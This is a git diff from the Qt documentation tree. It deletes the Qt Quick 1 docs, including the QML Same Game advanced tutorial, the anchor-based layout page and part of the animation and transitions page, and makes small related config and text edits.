diff --git a/doc/config/qtquick.qdocconf b/doc/config/qtquick.qdocconf index a4c7a352e0..69e860919e 100644 --- a/doc/config/qtquick.qdocconf +++ b/doc/config/qtquick.qdocconf @@ -21,9 +21,6 @@ imagedirs += ../src/images \ sourcedirs += ../src \ ../../src -excludedirs += ../src/qtquick1 \ - ../../src/qtquick1 - #indexes = $QT5DOC/doc/html/qt.index # The following parameters are for creating a qhp file, the qhelpgenerator diff --git a/doc/src/declarative/qmltest.qdoc b/doc/src/declarative/qmltest.qdoc index e9340d8137..640275cf93 100644 --- a/doc/src/declarative/qmltest.qdoc +++ b/doc/src/declarative/qmltest.qdoc @@ -104,21 +104,4 @@ \code IMPORTPATH += $$PWD/../imports/my_module1 $$PWD/../imports/my_module2 \endcode - - \section1 Running tests with QtQuick 1 - - The \c{-qtquick1} option can be passed to a test binary to run - the tests using QDeclarativeView (QtQuick 1) rather than QQuickView (QtQuick 2): - - \code - tst_example -qtquick1 - \endcode - - To run tests with either QtQuick 1 or QtQuick 2, use - "import QtQuick 1.0" in your unit tests and then specify - compatibility mode to the QtQuick2 engine: - - \code - QMLSCENE_IMPORT_NAME=quick1 tst_example - \endcode */ diff --git a/doc/src/declarative/qtquick1.qdoc b/doc/src/declarative/qtquick1.qdoc deleted file mode 100644 index a64fc7d91d..0000000000 --- a/doc/src/declarative/qtquick1.qdoc +++ /dev/null @@ -1,40 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \qmlmodule QtQuick 1 - \title QML Module QtQuick 1 - - \brief The QML Elements - - This QML module contains all the QML elements that are - instantiated as objects of C++ classes in the QtQuick1 - module. These elements are QGraphicsObject based, and - work with the Graphics View framework. In Qt 5, they - have been replaced by \l{QtQuick 2}, based on the - Scenegraph renderer. - */ diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc index 3121080c7a..4e67bac407 100644 --- a/doc/src/declarative/whatsnew.qdoc +++ b/doc/src/declarative/whatsnew.qdoc @@ -148,15 +148,12 @@ New elements have been added for contructing paths: PathArc, PathCurve, PathSvg. \section2 QtQuick 1 is now a separate library and module Writing C++ applications using QtQuick 1 specific API, i.e. QDeclarativeView or QDeclarativeItem -requires adding the "qtquick1" module to the .pro file, e.g. QT += declarative qtquick1 +requires adding the "quick1" module to the .pro file, e.g. QT += quick1 QDeclarativeView and QDeclarativeItem headers are now in the QtQuick 1 module, i.e. #include #include -"import QtQuick 1.0" loads the module dynamically. To deploy QtQuick 1 applications -the library (lib/libQtQuick1*) and plugin (imports/QtQuick/) must be installed. - \sa {What's New in Qt Quick 1}{What's New in Qt Quick 1} */ diff --git a/doc/src/qtquick1/advtutorial.qdoc b/doc/src/qtquick1/advtutorial.qdoc deleted file mode 100644 index 5921488803..0000000000 --- a/doc/src/qtquick1/advtutorial.qdoc +++ /dev/null @@ -1,470 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-advtutorial.html -\inqmlmodule QtQuick 1 -\title QML Advanced Tutorial -\brief A more advanced tutorial, showing how to use QML to create a game. -\nextpage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks - -This tutorial walks step-by-step through the creation of a full application using QML. -It assumes that you already know the basics of QML (for example, from reading the -\l{QML Tutorial}{simple tutorial}). - -In this tutorial we write a game, \e {Same Game}, based on the Same Game application -included in the declarative \c examples directory, which looks like this: - -\image declarative-samegame.png - -We will cover concepts for producing a fully functioning application, including -JavaScript integration, using QML \l{State}{States} and \l{Behavior}{Behaviors} to -manage components and enhance your interface, and storing persistent application data. - -An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't -know JavaScript you can still get a feel for how you can integrate backend logic to create and -control QML elements. - - -Tutorial chapters: - -\list 1 -\o \l {declarative/tutorials/samegame/samegame1}{Creating the Game Canvas and Blocks} -\o \l {declarative/tutorials/samegame/samegame2}{Populating the Game Canvas} -\o \l {declarative/tutorials/samegame/samegame3}{Implementing the Game Logic} -\o \l {declarative/tutorials/samegame/samegame4}{Finishing Touches} -\endlist - -All the code in this tutorial can be found in Qt's \c examples/declarative/tutorials/samegame -directory. -*/ - -/*! -\page qml-advtutorial1.html -\inqmlmodule QtQuick 1 -\title QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks -\contentspage QML Advanced Tutorial -\previouspage QML Advanced Tutorial -\nextpage QML Advanced Tutorial 2 - Populating the Game Canvas - -\example declarative/tutorials/samegame/samegame1 - -\section2 Creating the application screen - -The first step is to create the basic QML items in your application. - -To begin with, we create our Same Game application with a main screen like this: - -\image declarative-adv-tutorial1.png - -This is defined by the main application file, \c samegame.qml, which looks like this: - -\snippet declarative/tutorials/samegame/samegame1/samegame.qml 0 - -This gives you a basic game window that includes the main canvas for the -blocks, a "New Game" button and a score display. - -One item you may not recognize here -is the \l SystemPalette item. This provides access to the Qt system palette -and is used to give the button a more native look-and-feel. - -Notice the anchors for the \c Item, \c Button and \c Text elements are set using -\l {qdeclarativeintroduction.html#dot-properties}{group notation} for readability. - -\section2 Adding \c Button and \c Block components - -The \c Button item in the code above is defined in a separate component file named \c Button.qml. -To create a functional button, we use the QML elements \l Text and \l MouseArea inside a \l Rectangle. -Here is the \c Button.qml code: - -\snippet declarative/tutorials/samegame/samegame1/Button.qml 0 - -This essentially defines a rectangle that contains text and can be clicked. The \l MouseArea -has an \c onClicked() handler that is implemented to emit the \c clicked() signal of the -\c container when the area is clicked. - -In Same Game, the screen is filled with small blocks when the game begins. -Each block is just an item that contains an image. The block -code is defined in a separate \c Block.qml file: - -\snippet declarative/tutorials/samegame/samegame1/Block.qml 0 - -At the moment, the block doesn't do anything; it is just an image. As the -tutorial progresses we will animate and give behaviors to the blocks. -We have not added any code yet to create the blocks; we will do this -in the next chapter. - -We have set the image to be the size of its parent Item using \c {anchors.fill: parent}. -This means that when we dynamically create and resize the block items -later on in the tutorial, the image will be scaled automatically to the -correct size. - -Notice the relative path for the Image element's \c source property. -This path is relative to the location of the file that contains the \l Image element. -Alternatively, you could set the Image source to an absolute file path or a URL -that contains an image. - -You should be familiar with the code so far. We have just created some basic -elements to get started. Next, we will populate the game canvas with some blocks. -*/ - - -/*! -\page qml-advtutorial2.html -\inqmlmodule QtQuick 1 -\title QML Advanced Tutorial 2 - Populating the Game Canvas -\contentspage QML Advanced Tutorial -\previouspage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks -\nextpage QML Advanced Tutorial 3 - Implementing the Game Logic - -\example declarative/tutorials/samegame/samegame2 - -\section2 Generating the blocks in JavaScript - -Now that we've written some basic elements, let's start writing the game. - -The first task is to generate the game blocks. Each time the New Game button -is clicked, the game canvas is populated with a new, random set of -blocks. Since we need to dynamically generate new blocks for each new game, -we cannot use \l Repeater to define the blocks. Instead, we will -create the blocks in JavaScript. - -Here is the JavaScript code for generating the blocks, contained in a new -file, \c samegame.js. The code is explained below. - -\snippet declarative/tutorials/samegame/samegame2/samegame.js 0 - -The \c startNewGame() function deletes the blocks created in the previous game and -calculates the number of rows and columns of blocks required to fill the game window for the new game. -Then, it creates an array to store all the game -blocks, and calls \c createBlock() to create enough blocks to fill the game window. - -The \c createBlock() function creates a block from the \c Block.qml file -and moves the new block to its position on the game canvas. This involves several steps: - -\list - -\o \l {QML:Qt::createComponent()}{Qt.createComponent()} is called to - generate an element from \c Block.qml. If the component is ready, - we can call \c createObject() to create an instance of the \c Block - item. - -\o If \c createObject() returned null (i.e. if there was an error - while loading the object), print the error information. - -\o Place the block in its position on the board and set its width and - height. Also, store it in the blocks array for future reference. - -\o Finally, print error information to the console if the component - could not be loaded for some reason (for example, if the file is - missing). - -\endlist - - -\section2 Connecting JavaScript components to QML - -Now we need to call the JavaScript code in \c samegame.js from our QML files. -To do this, we add this line to \c samegame.qml which imports -the JavaScript file as a \l{Modules#QML Modules}{module}: - -\snippet declarative/tutorials/samegame/samegame2/samegame.qml 2 - -This allows us to refer to any functions within \c samegame.js using "SameGame" -as a prefix: for example, \c SameGame.startNewGame() or \c SameGame.createBlock(). -This means we can now connect the New Game button's \c onClicked handler to the \c startNewGame() -function, like this: - -\snippet declarative/tutorials/samegame/samegame2/samegame.qml 1 - -So, when you click the New Game button, \c startNewGame() is called and generates a field of blocks, like this: - -\image declarative-adv-tutorial2.png - -Now, we have a screen of blocks, and we can begin to add the game mechanics. - -*/ - -/*! -\page qml-advtutorial3.html -\inqmlmodule QtQuick 1 -\title QML Advanced Tutorial 3 - Implementing the Game Logic -\contentspage QML Advanced Tutorial -\previouspage QML Advanced Tutorial 2 - Populating the Game Canvas -\nextpage QML Advanced Tutorial 4 - Finishing Touches - -\example declarative/tutorials/samegame/samegame3 - -\section2 Making a playable game - -Now that we have all the game components, we can add the game logic that -dictates how a player interacts with the blocks and plays the game -until it is won or lost. - -To do this, we have added the following functions to \c samegame.js: - -\list -\o \c{handleClick(x,y)} -\o \c{floodFill(xIdx,yIdx,type)} -\o \c{shuffleDown()} -\o \c{victoryCheck()} -\o \c{floodMoveCheck(xIdx, yIdx, type)} -\endlist - -As this is a tutorial about QML, not game design, we will only discuss \c handleClick() and \c victoryCheck() below since they interface directly with the QML elements. Note that although the game logic here is written in JavaScript, it could have been written in C++ and then exposed to QML. - -\section3 Enabling mouse click interaction - -To make it easier for the JavaScript code to interface with the QML elements, we have added an Item called \c gameCanvas to \c samegame.qml. It replaces the background as the item which contains the blocks. It also accepts mouse input from the user. Here is the item code: - -\snippet declarative/tutorials/samegame/samegame3/samegame.qml 1 - -The \c gameCanvas item is the exact size of the board, and has a \c score property and a \l MouseArea to handle mouse clicks. -The blocks are now created as its children, and its dimensions are used to determine the board size so that -the application scales to the available screen size. -Since its size is bound to a multiple of \c blockSize, \c blockSize was moved out of \c samegame.js and into \c samegame.qml as a QML property. -Note that it can still be accessed from the script. - -When clicked, the \l MouseArea calls \c{handleClick()} in \c samegame.js, which determines whether the player's click should cause any blocks to be removed, and updates \c gameCanvas.score with the current score if necessary. Here is the \c handleClick() function: - -\snippet declarative/tutorials/samegame/samegame3/samegame.js 1 - -Note that if \c score was a global variable in the \c{samegame.js} file you would not be able to bind to it. You can only bind to QML properties. - -\section3 Updating the score - -When the player clicks a block and triggers \c handleClick(), \c handleClick() also calls \c victoryCheck() to update the score and to check whether the player has completed the game. Here is the \c victoryCheck() code: - -\snippet declarative/tutorials/samegame/samegame3/samegame.js 2 - -This updates the \c gameCanvas.score value and displays a "Game Over" dialog if the game is finished. - -The Game Over dialog is created using a \c Dialog element that is defined in \c Dialog.qml. Here is the \c Dialog.qml code. Notice how it is designed to be usable imperatively from the script file, via the functions and signals: - -\snippet declarative/tutorials/samegame/samegame3/Dialog.qml 0 - -And this is how it is used in the main \c samegame.qml file: - -\snippet declarative/tutorials/samegame/samegame3/samegame.qml 2 - -We give the dialog a \l {Item::z}{z} value of 100 to ensure it is displayed on top of our other components. The default \c z value for an item is 0. - - -\section3 A dash of color - -It's not much fun to play Same Game if all the blocks are the same color, so we've modified the \c createBlock() function in \c samegame.js to randomly create a different type of block (for either red, green or blue) each time it is called. \c Block.qml has also changed so that each block contains a different image depending on its type: - -\snippet declarative/tutorials/samegame/samegame3/Block.qml 0 - - -\section2 A working game - -Now we now have a working game! The blocks can be clicked, the player can score, and the game can end (and then you can start a new one). -Here is a screenshot of what has been accomplished so far: - -\image declarative-adv-tutorial3.png - -This is what \c samegame.qml looks like now: - -\snippet declarative/tutorials/samegame/samegame3/samegame.qml 0 - -The game works, but it's a little boring right now. Where are the smooth animated transitions? Where are the high scores? -If you were a QML expert you could have written these in the first iteration, but in this tutorial they've been saved -until the next chapter - where your application becomes alive! - -*/ - -/*! -\page qml-advtutorial4.html -\inqmlmodule QtQuick 1 -\title QML Advanced Tutorial 4 - Finishing Touches -\contentspage QML Advanced Tutorial -\previouspage QML Advanced Tutorial 3 - Implementing the Game Logic - -\example declarative/tutorials/samegame/samegame4 - -\section2 Adding some flair - -Now we're going to do two things to liven up the game: animate the blocks and add a High Score system. - -We've also cleaned up the directory structure for our application files. We now have a lot of files, so all the -JavaScript and QML files outside of \c samegame.qml have been moved into a new sub-directory named "content". - -In anticipation of the new block animations, \c Block.qml file is now renamed to \c BoomBlock.qml. - -\section3 Animating block movement - -First we will animate the blocks so that they move in a fluid manner. QML has a number of methods for adding fluid -movement, and in this case we're going to use the \l Behavior element to add a \l SpringAnimation. -In \c BoomBlock.qml, we apply a \l SpringAnimation behavior to the \c x and \c y properties so that the -block will follow and animate its movement in a spring-like fashion towards the specified position (whose -values will be set by \c samegame.js).Here is the code added to \c BoomBlock.qml: - -\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 1 - -The \c spring and \c damping values can be changed to modify the spring-like effect of the animation. - -The \c {enabled: spawned} setting refers to the \c spawned value that is set from \c createBlock() in \c samegame.js. -This ensures the \l SpringAnimation on the \c x is only enabled after \c createBlock() has set the block to -the correct position. Otherwise, the blocks will slide out of the corner (0,0) when a game begins, instead of falling -from the top in rows. (Try commenting out \c {enabled: spawned} and see for yourself.) - -\section3 Animating block opacity changes - -Next, we will add a smooth exit animation. For this, we'll use a \l Behavior element, which allows us to specify -a default animation when a property change occurs. In this case, when the \c opacity of a Block changes, we will -animate the opacity value so that it gradually fades in and out, instead of abruptly changing between fully -visible and invisible. To do this, we'll apply a \l Behavior on the \c opacity property of the \c Image -element in \c BoomBlock.qml: - -\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 2 - -Note the \c{opacity: 0} which means the block is transparent when it is first created. We could set the opacity -in \c samegame.js when we create and destroy the blocks, -but instead we'll use \l{QML States}{states}, since this is useful for the next animation we're going to add. -Initially, we add these States to the root element of \c{BoomBlock.qml}: -\code - property bool dying: false - states: [ - State{ name: "AliveState"; when: spawned == true && dying == false - PropertyChanges { target: img; opacity: 1 } - }, - State{ name: "DeathState"; when: dying == true - PropertyChanges { target: img; opacity: 0 } - } - ] -\endcode - -Now blocks will automatically fade in, as we already set \c spawned to true when we implemented the block animations. -To fade out, we set \c dying to true instead of setting opacity to 0 when a block is destroyed (in the \c floodFill() function). - -\section3 Adding particle effects - -Finally, we'll add a cool-looking particle effect to the blocks when they are destroyed. To do this, we first add a \l Particles element in -\c BoomBlock.qml, like so: - -\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 3 - -To fully understand this you should read the \l Particles documentation, but it's important to note that \c emissionRate is set -to zero so that particles are not emitted normally. -Also, we extend the \c dying State, which creates a burst of particles by calling the \c burst() method on the particles element. The code for the states now look -like this: - -\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 4 - -Now the game is beautifully animated, with subtle (or not-so-subtle) animations added for all of the -player's actions. The end result is shown below, with a different set of images to demonstrate basic theming: - -\image declarative-adv-tutorial4.gif - -The theme change here is produced simply by replacing the block images. This can be done at runtime by changing the \l Image \c source property, so for a further challenge, you could add a button that toggles between themes with different images. - -\section2 Keeping a High Scores table - -Another feature we might want to add to the game is a method of storing and retrieving high scores. - -To do this, we will show a dialog when the game is over to request the player's name and add it to a High Scores table. -This requires a few changes to \c Dialog.qml. In addition to a \c Text element, it now has a -\c TextInput child item for receiving keyboard text input: - -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 0 -\dots 4 -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 2 -\dots 4 -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 3 - -We'll also add a \c showWithInput() function. The text input will only be visible if this function -is called instead of \c show(). When the dialog is closed, it emits a \c closed() signal, and -other elements can retrieve the text entered by the user through an \c inputText property: - -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 0 -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 1 -\dots 4 -\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 3 - -Now the dialog can be used in \c samegame.qml: - -\snippet declarative/tutorials/samegame/samegame4/samegame.qml 0 - -When the dialog emits the \c closed signal, we call the new \c saveHighScore() function in \c samegame.js, which stores the high score locally in an SQL database and also send the score to an online database if possible. - -The \c nameInputDialog is activated in the \c victoryCheck() function in \c samegame.js: - -\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 3 -\dots 4 -\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 4 - -\section3 Storing high scores offline - -Now we need to implement the functionality to actually save the High Scores table. - -Here is the \c saveHighScore() function in \c samegame.js: - -\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 2 - -First we call \c sendHighScore() (explained in the section below) if it is possible to send the high scores to an online database. - -Then, we use the \l{Offline Storage API} to maintain a persistent SQL database unique to this application. We create an offline storage database for the high scores using \c openDatabase() and prepare the data and SQL query that we want to use to save it. The offline storage API uses SQL queries for data manipulation and retrieval, and in the \c db.transaction() call we use three SQL queries to initialize the database (if necessary), and then add to and retrieve high scores. To use the returned data, we turn it into a string with one line per row returned, and show a dialog containing that string. - -This is one way of storing and displaying high scores locally, but certainly not the only way. A more complex alternative would be to create a high score dialog component, and pass it the results for processing and display (instead of reusing the \c Dialog). This would allow a more themeable dialog that could better present the high scores. If your QML is the UI for a C++ application, you could also have passed the score to a C++ function to store it locally in a variety of ways, including a simple format without SQL or in another SQL database. - -\section3 Storing high scores online - -You've seen how you can store high scores locally, but it is also easy to integrate a web-enabled high score storage into your QML application. The implementation we've done her is very -simple: the high score data is posted to a php script running on a server somewhere, and that server then stores it and -displays it to visitors. You could also request an XML or QML file from that same server, which contains and displays the scores, -but that's beyond the scope of this tutorial. The php script we use here is available in the \c examples directory. - -If the player entered their name we can send the data to the web service us - -If the player enters a name, we send the data to the service using this code in \c samegame.js: - -\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 1 - -The \l XMLHttpRequest in this code is the same as the \c XMLHttpRequest() as you'll find in standard browser JavaScript, and can be used in the same way to dynamically get XML -or QML from the web service to display the high scores. We don't worry about the response in this case - we just post the high -score data to the web server. If it had returned a QML file (or a URL to a QML file) you could instantiate it in much the same -way as you did with the blocks. - -An alternate way to access and submit web-based data would be to use QML elements designed for this purpose. XmlListModel -makes it very easy to fetch and display XML based data such as RSS in a QML application (see the Flickr demo for an example). - - -\section2 That's it! - -By following this tutorial you've seen how you can write a fully functional application in QML: - -\list -\o Build your application with \l {{QML Elements}}{QML elements} -\o Add application logic \l{Integrating JavaScript}{with JavaScript code} -\o Add animations with \l {Behavior}{Behaviors} and \l{QML States}{states} -\o Store persistent application data using, for example, the \l{Offline Storage API} or \l XMLHttpRequest -\endlist - -There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the -examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML! -*/ diff --git a/doc/src/qtquick1/anchor-layout.qdoc b/doc/src/qtquick1/anchor-layout.qdoc deleted file mode 100644 index b7b1480649..0000000000 --- a/doc/src/qtquick1/anchor-layout.qdoc +++ /dev/null @@ -1,145 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-anchor-layout.html -\inqmlmodule QtQuick 1 -\target anchor-layout -\contentspage QML Features -\previouspage {Using QML Positioner and Repeater Items}{Component Layouts} -\nextpage {QML Mouse Events}{Mouse Events} -\title Anchor-based Layout in QML - -In addition to the more traditional \l Grid, \l Row, and \l Column, -QML also provides a way to layout items using the concept of \e anchors. -Each item can be thought of as having a set of 7 invisible "anchor lines": -\l {Item::anchors.left}{left}, \l {Item::anchors.horizontalCenter}{horizontalCenter}, -\l {Item::anchors.right}{right}, \l {Item::anchors.top}{top}, -\l {Item::anchors.verticalCenter}{verticalCenter}, \l {Item::anchors.baseline}{baseline}, -and \l {Item::anchors.bottom}{bottom}. - -\image edges_qml.png - -The baseline (not pictured above) corresponds to the imaginary line on which -text would sit. For items with no text it is the same as \e top. - -The QML anchoring system allows you to define relationships between the anchor lines of different items. For example, you can write: - -\code -Rectangle { id: rect1; ... } -Rectangle { id: rect2; anchors.left: rect1.right; ... } -\endcode - -In this case, the left edge of \e rect2 is bound to the right edge of \e rect1, producing the following: - -\image edge1.png - - -You can specify multiple anchors. For example: - -\code -Rectangle { id: rect1; ... } -Rectangle { id: rect2; anchors.left: rect1.right; anchors.top: rect1.bottom; ... } -\endcode - -\image edge3.png - -By specifying multiple horizontal or vertical anchors you can control the size of an item. Below, -\e rect2 is anchored to the right of \e rect1 and the left of \e rect3. If either of the blue -rectangles are moved, \e rect2 will stretch and shrink as necessary: - -\code -Rectangle { id: rect1; x: 0; ... } -Rectangle { id: rect2; anchors.left: rect1.right; anchors.right: rect3.left; ... } -Rectangle { id: rect3; x: 150; ... } -\endcode - -\image edge4.png - -There are also some convenience anchors. anchors.fill is a convenience that is the same as setting the left,right,top and bottom anchors -to the left,right,top and bottom of the target item. anchors.centerIn is another convenience anchor, and is the same as setting the verticalCenter -and horizontalCenter anchors to the verticalCenter and horizontalCenter of the target item. - -\section1 Anchor Margins and Offsets - -The anchoring system also allows \e margins and \e offsets to be specified for an item's anchors. -Margins specify the amount of empty space to leave to the outside of an item's anchor, while -offsets allow positioning to be manipulated using the center anchor lines. An item can -specify its anchor margins individually through \l {Item::anchors.leftMargin}{leftMargin}, -\l {Item::anchors.rightMargin}{rightMargin}, \l {Item::anchors.topMargin}{topMargin} and -\l {Item::anchors.bottomMargin}{bottomMargin}, or use \l {Item::}{anchors.margins} to -specify the same margin value for all four edges. Anchor offsets are specified using -\l {Item::anchors.horizontalCenterOffset}{horizontalCenterOffset}, -\l {Item::anchors.verticalCenterOffset}{verticalCenterOffset} and -\l {Item::anchors.baselineOffset}{baselineOffset}. - -\image margins_qml.png - -The following example specifies a left margin: - -\code -Rectangle { id: rect1; ... } -Rectangle { id: rect2; anchors.left: rect1.right; anchors.leftMargin: 5; ... } -\endcode - -In this case, a margin of 5 pixels is reserved to the left of \e rect2, producing the following: - -\image edge2.png - -\note Anchor margins only apply to anchors; they are \e not a generic means of applying margins to an \l Item. -If an anchor margin is specified for an edge but the item is not anchored to any item on that -edge, the margin is not applied. - - -\section1 Restrictions - -For performance reasons, you can only anchor an item to its siblings and direct parent. For example, -the following anchor is invalid and would produce a warning: - -\badcode -Item { - id: group1 - Rectangle { id: rect1; ... } -} -Item { - id: group2 - Rectangle { id: rect2; anchors.left: rect1.right; ... } // invalid anchor! -} -\endcode - -Also, anchor-based layouts cannot be mixed with absolute positioning. If an item specifies its -\l {Item::}{x} position and also sets \l {Item::}{anchors.left}, -or anchors its left and right edges but additionally sets a \l {Item::}{width}, the -result is undefined, as it would not be clear whether the item should use anchoring or absolute -positioning. The same can be said for setting an item's \l {Item::}{y} and \l {Item::}{height} -with \l {Item::}{anchors.top} and \l {Item::}{anchors.bottom}, or setting \l {Item::}{anchors.fill} -as well as \l {Item::}{width} or \l {Item::}{height}. The same applies when using positioners -such as Row and Grid, which may set the item's \l {Item::}{x} and \l {Item::}{y} properties. -If you wish to change from using -anchor-based to absolute positioning, you can clear an anchor value by setting it to \c undefined. - -*/ diff --git a/doc/src/qtquick1/animation.qdoc b/doc/src/qtquick1/animation.qdoc deleted file mode 100644 index 97c6a720a2..0000000000 --- a/doc/src/qtquick1/animation.qdoc +++ /dev/null @@ -1,274 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativeanimation.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage QML Features -\previouspage {QML States}{States} -\nextpage {QML Data Models}{Structuring Data with Models} -\title QML Animation and Transitions - -\keyword qml-animation-elements -\section1 Animation and Transitions Elements -\list -\o \l {Transition} - Animates transitions during state changes -\o \l {SequentialAnimation} - Runs animations sequentially -\o \l {ParallelAnimation} - Runs animations in parallel -\o \l {Behavior} - Specifies a default animation for property changes -\o \l {PropertyAction} - Sets immediate property changes during animation -\o \l {PauseAnimation} - Introduces a pause in an animation -\o \l {SmoothedAnimation} - Allows a property to smoothly track a value -\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion -\o \l {ScriptAction} - Runs scripts during an animation -\endlist - -\keyword qml-property-animation-elements -Elements that animate properties based on data types -\list -\o \l {PropertyAnimation} - Animates property changes -\o \l {NumberAnimation} - Animates properties of type qreal -\o \l {Vector3dAnimation} - Animates properties of type QVector3d -\o \l {ColorAnimation} - Animates color changes -\o \l {RotationAnimation} - Animates rotations -\o \l {ParentAnimation} - Animates parent changes -\o \l {AnchorAnimation} - Animates anchor changes -\endlist - -In QML, animations are created by applying animation elements to property -values. Animation elements will interpolate property values to create smooth -transitions. As well, state transitions may assign animations to state changes. - -To create an animation, use an appropriate animation element for the type of -the property that is to be animated, and apply the animation depending on the -type of behavior that is required. - -\keyword qml-triggering-animations -\section1 Triggering Animations - -There are several ways of setting animation to an object. - -\keyword qml-direct-animation -\section2 Direct Property Animation - -To create an immediate movement or animated movement, set the property value -directly. This may be done in signal handlers or attached properties. - -\snippet doc/src/snippets/declarative/animation.qml direct property change - -However, to create more control, \e {property animations} apply smooth movements -by interpolating values between property value changes. Property animations -provide timing controls and allows different interpolations through -\l{qml-easing-animation}{easing curves}. - -\snippet doc/src/snippets/declarative/animation.qml property animation - -Specialized \l{qml-property-animation-elements}{property animation elements} -have more efficient implementations than the \l{PropertyAnimation} element. They -are for setting animations to different QML types such as \c int, \c color, and -rotations. Similarly, the \l{ParentAnimation} can animate parent changes. - -See the \l {qml-controlling-animations}{Controlling Animations} section for more -information about the different animation properties. - -\keyword qml-transition-animations -\section2 Transitions during State Changes - -\l{QML States}{States} are property configurations where a property may have different values to reflect different states. State changes introduce -abrupt property changes; animations smooth transitions to produce visually -appealing state changes. - -The \l{Transition} element can contain -\l{qml-animation-elements}{animation elements} to interpolate property changes -caused by state changes. To assign the transition to an object, bind it to the -\c transitions property. - -A button might have two states, the \c pressed state when the user clicks on the -button and a \c released state when the user releases the button. We can assign -different property configurations for each state. A transition would animate the -change from the \c pressed state to the \c released state. Likewise, there would -be an animation during the change from the \c released state to the \c pressed -state. - -\snippet doc/src/snippets/declarative/animation.qml transition animation - -Binding the \c to and \c from properties to the state's name will assign that -particular transition to the state change. For simple or symmetric transitions, -setting the to \c to property to the wild card symbol, "\c{*}", denotes -that the transition applies to any state change. - -\snippet doc/src/snippets/declarative/animation.qml wildcard animation - -\section2 Default Animation as Behaviors - -Default property animations are set using \e {behavior animations}. Animations -declared in \l {Behavior} elements apply to the property and animates any -property value changes. However, Behavior elements have an -\c enabled property to purposely enable or disable the behavior animations. - -A ball component might have a behavior animation assigned to its \c x, \c y, and -\c color properties. The behavior animation could be set up to simulate an -elastic effect. In effect, this behavior animation would apply the elastic -effect to the properties whenever the ball moves. - -\snippet doc/src/snippets/declarative/animation.qml behavior animation - -There are several methods of assigning behavior animations to properties. The -\c{Behavior on } declaration is a convenient way of assigning a -behavior animation onto a property. - -See the \l {declarative/animation/behaviors}{Behaviors example} for a -demonstration of behavioral animations. - -\section1 Playing Animations in Parallel or in Sequence - -Animations can run \e {in parallel} or \e {in sequence}. Parallel animations -will play a group of animations at the same time while sequential animations -play a group of animations in order: one after the other. Grouping animations in -\l{SequentialAnimation} and \l{ParallelAnimation} will play the animations in -sequence or in parallel. - -A banner component may have several icons or slogans to display, one after the -other. The \c opacity property could transform to \c 1.0 denoting an opaque -object. Using the \l{SequentialAnimation} element, the opacity animations will -play after the preceding animation finishes. The \l{ParallelAnimation} element -will play the animations at the same time. - -\snippet doc/src/snippets/declarative/animation.qml sequential animation - -Once individual animations are placed into a SequentialAnimation or -ParallelAnimation, they can no longer be started and stopped independently. The -sequential or parallel animation must be started and stopped as a group. - -The \l SequentialAnimation element is also useful for playing -\l{qml-transition-animations}{transition animations} because animations are -played in parallel inside transitions. - -See the \l {declarative/animation/basics}{Animation basics example} for a -demonstration of creating and combining multiple animations in QML. - -\keyword 